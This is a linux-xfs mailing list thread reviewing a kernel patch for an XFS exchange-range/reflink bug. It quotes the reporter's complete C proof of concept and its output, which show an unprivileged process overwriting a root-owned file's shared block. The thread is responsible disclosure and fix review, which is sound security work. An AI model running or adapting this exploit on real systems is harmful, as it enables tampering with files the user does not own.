> > bs_size = 18446744073709539328
> >
> > The reflink flag could be cleared too.
> >
> > Start:
> > peer size 4096 -> [100]
> > file1 size 12288 -> [200] [201] [202]
> > dirty i_size 4096 i_disk_size 0
> > donor size 4096 -> [300]
> >
> > 1. FICLONERANGE peer's block into file1's middle block:
> >
> > peer size 4096 -> [100]
> > file1 size 12288 reflink flag set -> [200] [100] [202]
> > ^^^^^
> > both files own block 100
> >
> > 2. EXCHANGE_RANGE file1 against dirty, file1_offset 8192,
> > file2_offset 4096, length 0, TO_EOF:
> >
> > length = max(12288 - 8192, 4096 - 4096) = 4096
> > dirty's flush range [4096, 8191] is past its EOF, nothing written
> > back, so i_disk_size is still 0:
> >
> > xmi_isize1 = 8192 + (0 - 4096) = 4096
> >
> > file1 i_size 8192 i_disk_size 4096 -> [200] [100] hole
> > ^^^^
> > one block by the size, two are mapped, and the second
> > one is shared with peer
All right. It looks like the simple answer is to flush all the dirty
data in the pagecache if TO_EOF is set, that way the file size update
logic works correctly.
As for the !TO_EOF case, I think we should flush all the dirty data
between the ondisk i_disk_size all the way to the end of the range being
exchanged to avoid weird post-crash file contents such as:
file1: A B
file2: C D
(don't flush anything else)
The exchange of B and D will flush those two blocks to disk, but not
A or C. If we crash just after committing the exchange, after recovery
the files will be:
file1: _ B
file2: _ D
(where "_" is a sparse hole with zeroes)
That also probably wasn't what the user wanted.
Thanks also for the second reproducer, I've incorporated that into the
testcase. With the above flush change, it no longer trips the obviously
overhuge file size thing you noted, and the corruption goes away.
Obviously, applying your patch to kill the reflink flag clearing also
makes the corruption stop.
--D
> >
> > 3. EXCHANGE_RANGE file1 against donor, both offsets 0, length 4096. By
> > i_disk_size this is two one-block files exchanging everything, so
> > xmi_can_exchange_reflink_flags() agrees:
> >
> > file1 i_disk_size 4096 reflink CLEARED -> [300] [100] hole
> > donor -> [200]
> >
> > Block 100 is still shared with peer.
> >
> > 4. pwrite(file1, 4096, 4096), file1's second block.
> > xfs_is_cow_inode(file1) is false, so no CoW:
> >
> > peer size 4096 -> [100] new contents
> >
> >
> > PoC, run after applying your fix:
> >
> > $ head -c 4096 /dev/zero | tr '\0' 'P' > peer
> > $ sudo chown root:root peer && sudo chmod 0644 peer
> > $ ./xfs_exchrange_reflink_after_fix
> >
> > peer uid 0 mode 0644 size 4096, block size 4096
> >
> > start peer [32] file1 isize 12288 [13] [14] [15]
> > 1 FICLONERANGE peer [32] file1 isize 12288 [13] [32] [15]
> > 2 EXCHANGE_RANGE TO_EOF peer [32] file1 isize 8192 [13] [32] [0]
> > 3 EXCHANGE_RANGE peer [32] file1 isize 8192 [24] [32] [0]
> > 4 pwrite(file1, blksz) peer [32] file1 isize 8192 [24] [32] [0]
> >
> > peer first byte P -> X PEER REWRITTEN
> >
> > Content of xfs_exchrange_reflink_after_fix.c:
> >
> > // SPDX-License-Identifier: GPL-2.0
> > /*
> > * Clears XFS_DIFLAG2_REFLINK from a file that still owns a shared block, on a
> > * kernel carrying "xfs: fix exchange-range-to-eof file size exchange".
> > *
> > * Needs reflink=1 and exchange=1, and a readable file called "peer" in the
> > * current directory. Brackets are physical block numbers from FIEMAP.
> > * Exits 0 if peer was rewritten, 1 if it survived, 2 on a setup error.
> > */
> > #define _GNU_SOURCE
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <unistd.h>
> > #include <fcntl.h>
> > #include <sys/ioctl.h>
> > #include <sys/stat.h>
> > #include <sys/vfs.h>
> > #include <linux/fs.h>
> > #include <linux/fiemap.h>
> > #include <errno.h>
> >
> > #ifndef FICLONERANGE
> > #define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
> > #endif
> >
> > /* fs/xfs/libxfs/xfs_fs.h */
> > struct xfs_exchange_range {
> > __s32 file1_fd;
> > __u32 pad;
> > __u64 file1_offset;
> > __u64 file2_offset;
> > __u64 length;
> > __u64 flags;
> > };
> > #define XFS_IOC_EXCHANGE_RANGE _IOW('X', 129, struct xfs_exchange_range)
> > #define XFS_EXCHANGE_RANGE_TO_EOF (1ULL << 0)
> >
> >
> > static unsigned long blksz;
> > static int peer, f1;
> >
> > static unsigned long long phys(int fd, unsigned long long off)
> > {
> > struct { struct fiemap f; struct fiemap_extent e[1]; } q;
> >
> > memset(&q, 0, sizeof q);
> > q.f.fm_start = off;
> > q.f.fm_length = blksz;
> > q.f.fm_extent_count = 1;
> > if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
> > return 0;
> > return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
> > }
> >
> > static void show(const char *tag)
> > {
> > struct stat st;
> > int i;
> >
> > fstat(f1, &st);
> > printf("%-28s peer [%llu] file1 isize %5lld [", tag, phys(peer, 0),
> > (long long)st.st_size);
> > for (i = 0; i < 3; i++)
> > printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
> > i == 2 ? "]\n" : "] [");
> > }
> >
> > /* fsync == 0 leaves every block dirty, so i_disk_size stays 0 */
> > static int mkfile(const char *name, char fill, int blocks, int do_fsync)
> > {
> > char *buf;
> > int fd;
> >
> > unlink(name);
> > fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
> > if (fd < 0)
> > return fprintf(stderr, "open %s: %m\n", name), -1;
> > buf = malloc((size_t)blocks * blksz);
> > memset(buf, fill, (size_t)blocks * blksz);
> > if (pwrite(fd, buf, (size_t)blocks * blksz, 0) !=
> > (ssize_t)((size_t)blocks * blksz))
> > return fprintf(stderr, "pwrite %s: %m\n", name), -1;
> > free(buf);
> > if (do_fsync)
> > fsync(fd);
> > return fd;
> > }
> >
> > static int exchange(int fd2, int fd1, unsigned long long off1,
> > unsigned long long off2, unsigned long long len,
> > unsigned long long flags, const char *what)
> > {
> > struct xfs_exchange_range xr;
> >
> > memset(&xr, 0, sizeof xr);
> > xr.file1_fd = fd1;
> > xr.file1_offset = off1;
> > xr.file2_offset = off2;
> > xr.length = len;
> > xr.flags = flags;
> > if (ioctl(fd2, XFS_IOC_EXCHANGE_RANGE, &xr)) {
> > fprintf(stderr, "%s: %m\n", what);
> > return -1;
> > }
> > return 0;
> > }
> >
> > int main(void)
> > {
> > struct file_clone_range cr;
> > char before[65536], after[65536], *buf;
> > struct statfs sfs;
> > struct stat st;
> > int dirty, d2;
> >
> > if (statfs(".", &sfs))
> > return fprintf(stderr, "statfs: %m\n"), 2;
> > if (sfs.f_type != 0x58465342) /* XFS_SUPER_MAGIC */
> > return fprintf(stderr,
> > "this directory is not on XFS (statfs type 0x%lx)\n",
> > (unsigned long)sfs.f_type), 2;
> > blksz = sfs.f_bsize;
> > if (blksz < 512 || blksz > 65536)
> > return fprintf(stderr, "unexpected block size %lu\n", blksz), 2;
> >
> > peer = open("peer", O_RDONLY);
> > if (peer < 0)
> > return fprintf(stderr, "open peer: %m\n"), 2;
> > if (fstat(peer, &st))
> > return fprintf(stderr, "fstat peer: %m\n"), 2;
> > printf("peer uid %u mode 0%o size %lld, block size %lu\n",
> > st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
> > if ((unsigned long)st.st_size < blksz)
> > return fprintf(stderr,
> > "peer must be at least one block\n"), 2;
> > if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
> > return fprintf(stderr, "pread peer: %m\n"), 2;
> > syncfs(peer);
> >
> > /* file1: three blocks, clean, so its own i_disk_size is honest */
> > f1 = mkfile("file1", 'A', 3, 1);
> > if (f1 < 0)
> > return 2;
> > /* the lever: one block, entirely dirty, i_disk_size == 0 */
> > dirty = mkfile("dirty", 'D', 1, 0);
> > if (dirty < 0)
> > return 2;
> > d2 = mkfile("donor2", 'E', 1, 1);
> > if (d2 < 0)
> > return 2;
> > printf("\n");
> > show("start");
> >
> > /* share peer's block into file1's middle block */
> > memset(&cr, 0, sizeof cr);
> > cr.src_fd = peer;
> > cr.src_offset = 0;
> > cr.src_length = blksz;
> > cr.dest_offset = blksz;
> > if (ioctl(f1, FICLONERANGE, &cr)) {
> > fprintf(stderr, "FICLONERANGE: %m\n");
> > if (errno == EOPNOTSUPP)
> > fprintf(stderr,
> > "this filesystem needs reflink=1, check xfs_info\n");
> > return 2;
> > }
> > show("1 FICLONERANGE");
> >
> > /*
> > * ip1 = file1, ip2 = dirty. off2 == i_size(dirty) == blksz, so
> > * length = max(3*blksz - 2*blksz, blksz - blksz) = blksz
> > * and dirty's flush range [blksz, 2*blksz) is entirely past its EOF,
> > * so its page cache is never written back and i_disk_size stays 0:
> > * isize1 = 2*blksz + (0 - blksz) = blksz
> > * file1's ondisk size becomes one block while it still owns the
> > * shared block at offset blksz.
> > */
> > if (exchange(dirty, f1, 2 * blksz, blksz, 0,
> > XFS_EXCHANGE_RANGE_TO_EOF, "exchange TO_EOF"))
> > return 2;
> > show("2 EXCHANGE_RANGE TO_EOF");
> >
> > /*
> > * By i_disk_size file1 is now a one-block file, so this looks like a
> > * full-contents exchange of two one-block files and
> > * xmi_can_exchange_reflink_flags() clears the flag.
> > */
> > if (exchange(f1, d2, 0, 0, blksz, 0, "exchange flag-clear"))
> > return 2;
> > show("3 EXCHANGE_RANGE");
> >
> > /* in-place write to the still-shared block */
> > buf = malloc(blksz);
> > memset(buf, 'X', blksz);
> > if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
> > return fprintf(stderr, "pwrite file1: %m\n"), 2;
> > fsync(f1);
> > show("4 pwrite(file1, blksz)");
> >
> > posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
> > if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
> > return fprintf(stderr, "pread peer: %m\n"), 2;
> > printf("\npeer first byte %c -> %c %s\n", before[0], after[0],
> > memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
> > return memcmp(before, after, blksz) ? 0 : 1;
> > }
> >
> > N.
> >
> > > Link: https://lore.kernel.org/linux-xfs/1E196589-DEBE-40AC-AFEA-D420DAAB067F@doyensec.com/
> > > Reported-by: Norbert Szetei <norbert@doyensec.com>
> > > Cc: <stable@vger.kernel.org> # v6.10
> > > Fixes: 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")
> > > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > > ---
> > > fs/xfs/libxfs/xfs_exchmaps.c | 8 ++++++--
> > > fs/xfs/xfs_exchrange.c | 10 ++++++----
> > > 2 files changed, 12 insertions(+), 6 deletions(-)
> > >
> > > diff --git a/fs/xfs/libxfs/xfs_exchmaps.c b/fs/xfs/libxfs/xfs_exchmaps.c
> > > index 6a66b6075e0af4..c9d9464e9d39f5 100644
> > > --- a/fs/xfs/libxfs/xfs_exchmaps.c
> > > +++ b/fs/xfs/libxfs/xfs_exchmaps.c
> > > @@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
> > > const struct xfs_exchmaps_req *req)
> > > {
> > > struct xfs_exchmaps_intent *xmi;
> > > + struct xfs_mount *mp = req->ip1->i_mount;
> > > unsigned int rs = 0;
> > >
> > > xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
> > > @@ -1006,9 +1007,12 @@ xfs_exchmaps_init_intent(
> > > }
> > >
> > > if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
> > > + loff_t off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
> > > + loff_t off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
> > > +
> > > xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
> > > - xmi->xmi_isize1 = req->ip2->i_disk_size;
> > > - xmi->xmi_isize2 = req->ip1->i_disk_size;
> > > + xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
> > > + xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
> > > }
> > >
> > > /* Record the state of each inode's reflink flag before the op. */
> > > diff --git a/fs/xfs/xfs_exchrange.c b/fs/xfs/xfs_exchrange.c
> > > index fafb4e3f065c75..a4016116f5f1a9 100644
> > > --- a/fs/xfs/xfs_exchrange.c
> > > +++ b/fs/xfs/xfs_exchrange.c
> > > @@ -296,11 +296,13 @@ xfs_exchrange_mappings(
> > > * the mappings, and updated the ondisk sizes.
> > > */
> > > if (fxr->flags & XFS_EXCHANGE_RANGE_TO_EOF) {
> > > - loff_t temp;
> > > + loff_t old_ip1_size = i_size_read(VFS_I(ip1));
> > > + loff_t old_ip2_size = i_size_read(VFS_I(ip2));
> > >
> > > - temp = i_size_read(VFS_I(ip2));
> > > - i_size_write(VFS_I(ip2), i_size_read(VFS_I(ip1)));
> > > - i_size_write(VFS_I(ip1), temp);
> > > + i_size_write(VFS_I(ip2), fxr->file2_offset +
> > > + (old_ip1_size - fxr->file1_offset));
> > > + i_size_write(VFS_I(ip1), fxr->file1_offset +
> > > + (old_ip2_size - fxr->file2_offset));
> > > }
> > >
> > > out_unlock:
> >
>
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] xfs: fix exchange-range-to-eof file size exchange
2026-10-06 20:12 ` Norbert Szetei
@ 2026-10-06 23:40 ` Darrick J. Wong
0 siblings, 0 replies; 9+ messages in thread
From: Darrick J. Wong @ 2026-10-06 23:40 UTC (permalink / raw)
To: Norbert Szetei
Cc: Dave Chinner, Carlos Maiolino, linux-xfs, Christoph Hellwig
On Tue, Oct 06, 2026 at 10:12:17PM +0200, Norbert Szetei wrote:
> > On Oct 6, 2026, at 17:00, Darrick J. Wong <djwong@kernel.org> wrote:
> >
> > On Tue, Oct 06, 2026 at 06:25:17PM +1100, Dave Chinner wrote:
> >> On Mon, Oct 05, 2026 at 10:09:14PM -0700, Darrick J. Wong wrote:
> >>> From: Darrick J. Wong <djwong@kernel.org>
> >>>
> >>> Norbert Szetei posted a patch containing an incomplete description of a
> >>> bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks
> >>> exchange-range into modifying a file so that it has shared blocks
> >>> starting beyond EOF, which is never allowed because files never have
> >>> written data beyond EOF, and you can only share written data blocks.
> >>> This is key to all the incorrect behavior that follows.
> >> ....
> >>>
> >>> Having confused the file sizes, the PoC uses a second exchange-range
> >>> call on what looks like a non-reflinked single-block file. Because the
> >>> file size is set incorrectly, exchange-range thinks it's exchanging the
> >>> full contents of two files and clears the reflink flag on the broken
> >>> file.
> >>
> >> Hmmm, another "exchrange reflink flag coherency" bug.
> >>
> >> Aside from fixing this specific issue, how can we prevent
> >> other/future logic bugs from failing to set the reflink flag
> >> appropriately and so never expose such a bug to userspace again?
> >>
> >> I'm thinking that we should not try to swap the reflink flag along
> >> with the extents. Instead, if one of the files had the reflink flag
> >> set before the swap, then we scan scan the extents of both files
> >> after the swap for shared extents and set the reflink flags for each
> >> file appropriately. EXCHRANGE isn't really performance sensitive,
> >> so the cost of the refcount scans shouldn't be an issue.
> >>
> >> Setting the flags this way means it doesn't matter what file shared
> >> extent(s) ends up in, the inode(s) that owns it(them) will always
> >> have the reflink flag set correctly. Hence there is no way to use
> >> EXCHRANGE creatively to expose this "didn't COW when it should have'
> >> class of corruption bugs ever again...
> >
> > That is what Norbert's patch actually does. If you think removing
> > xfs_exchmaps_clear_reflink and all the stuff that calls it is a good
> > idea (and it probably is!) then let's move that discussion and review to
> > that patch's thread.
>
> I realized the patch I proposed is not complete on its own either.
> XFS_IOC_SWAPEXT swaps the reflink flags as well, in xfs_swap_extents()
> (xfs_bmap_util.c:1704), which my patch does not touch. The test guarding it
>
> /* Verify all data are being swapped */
> if (sxp->sx_offset != 0 ||
> sxp->sx_length != ip->i_disk_size ||
> sxp->sx_length != tip->i_disk_size) {
>
> only proves the requested length matches i_disk_size, and i_disk_size does
> not bound the inode's mappings, so xfs_swap_extent_rmap() leaves mappings
> behind and the flags are traded anyway.
<nod> Could you repost your original patch but with this chunk removed
as well, please? I no longer think that cross referencing every data
fork mapping with the refcount data on every exchrange is worth the
trouble.
--D
> N.
>
> > That enables an extending write of the broken file to rewrite the
> >>> shared block that's just past EOF. This has become known colloquially
> >>> as refluxfs.
> >>>
> >>> Once the file sizes are set correctly, the second exchange-range no
> >>> longer thinks that it's doing a full-contents swap, so it won't clear
> >>> the reflink flag on either of its file arguments.
> >>>
> >>> Link: https://lore.kernel.org/linux-xfs/1E196589-DEBE-40AC-AFEA-D420DAAB067F@doyensec.com/
> >>> Reported-by: Norbert Szetei <norbert@doyensec.com>
> >>> Cc: <stable@vger.kernel.org> # v6.10
> >>> Fixes: 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")
> >>> Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> >>> ---
> >>> fs/xfs/libxfs/xfs_exchmaps.c | 8 ++++++--
> >>> fs/xfs/xfs_exchrange.c | 10 ++++++----
> >>> 2 files changed, 12 insertions(+), 6 deletions(-)
> >>>
> >>> diff --git a/fs/xfs/libxfs/xfs_exchmaps.c b/fs/xfs/libxfs/xfs_exchmaps.c
> >>> index 6a66b6075e0af4..c9d9464e9d39f5 100644
> >>> --- a/fs/xfs/libxfs/xfs_exchmaps.c
> >>> +++ b/fs/xfs/libxfs/xfs_exchmaps.c
> >>> @@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
> >>> const struct xfs_exchmaps_req *req)
> >>> {
> >>> struct xfs_exchmaps_intent *xmi;
> >>> + struct xfs_mount *mp = req->ip1->i_mount;
> >>> unsigned int rs = 0;
> >>>
> >>> xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
> >>> @@ -1006,9 +1007,12 @@ xfs_exchmaps_init_intent(
> >>> }
> >>>
> >>> if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
> >>> + loff_t off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
> >>> + loff_t off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
> >>> +
> >>> xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
> >>> - xmi->xmi_isize1 = req->ip2->i_disk_size;
> >>> - xmi->xmi_isize2 = req->ip1->i_disk_size;
> >>> + xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
> >>> + xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
> >>> }
> >>
> >> I think this really needs a comment to explain why the calculation
> >> is structured this way. I think it is trying to set the file sizes
> >> to the "destination offset" + "swap length from other file" because
> >> the ranges in each file might be different lengths, but I could be
> >> wrong...
> >
> > That's correct. I'll add that as a code comment.
> >
> > --D
> >
> >>
> >> Cheers,
> >>
> >> Dave.
> >> --
> >> Dave Chinner
> >> dgc@kernel.org
>
>
^ permalink raw reply [flat|nested] 9+ messages in thread
end of thread, other threads:[~2026-10-06 23:40 UTC | newest]
Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-06 5:09 [PATCH] xfs: fix exchange-range-to-eof file size exchange Darrick J. Wong
2026-10-06 6:15 ` [PATCH] xfs: add regression test for exchangerange-to-eof reflux Darrick J. Wong
2026-10-06 7:25 ` [PATCH] xfs: fix exchange-range-to-eof file size exchange Dave Chinner
2026-10-06 15:00 ` Darrick J. Wong
2026-10-06 20:12 ` Norbert Szetei
2026-10-06 23:40 ` Darrick J. Wong
2026-10-06 20:02 ` Norbert Szetei
2026-10-06 21:47 ` Darrick J. Wong
2026-10-06 22:43 ` Darrick J. Wong
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox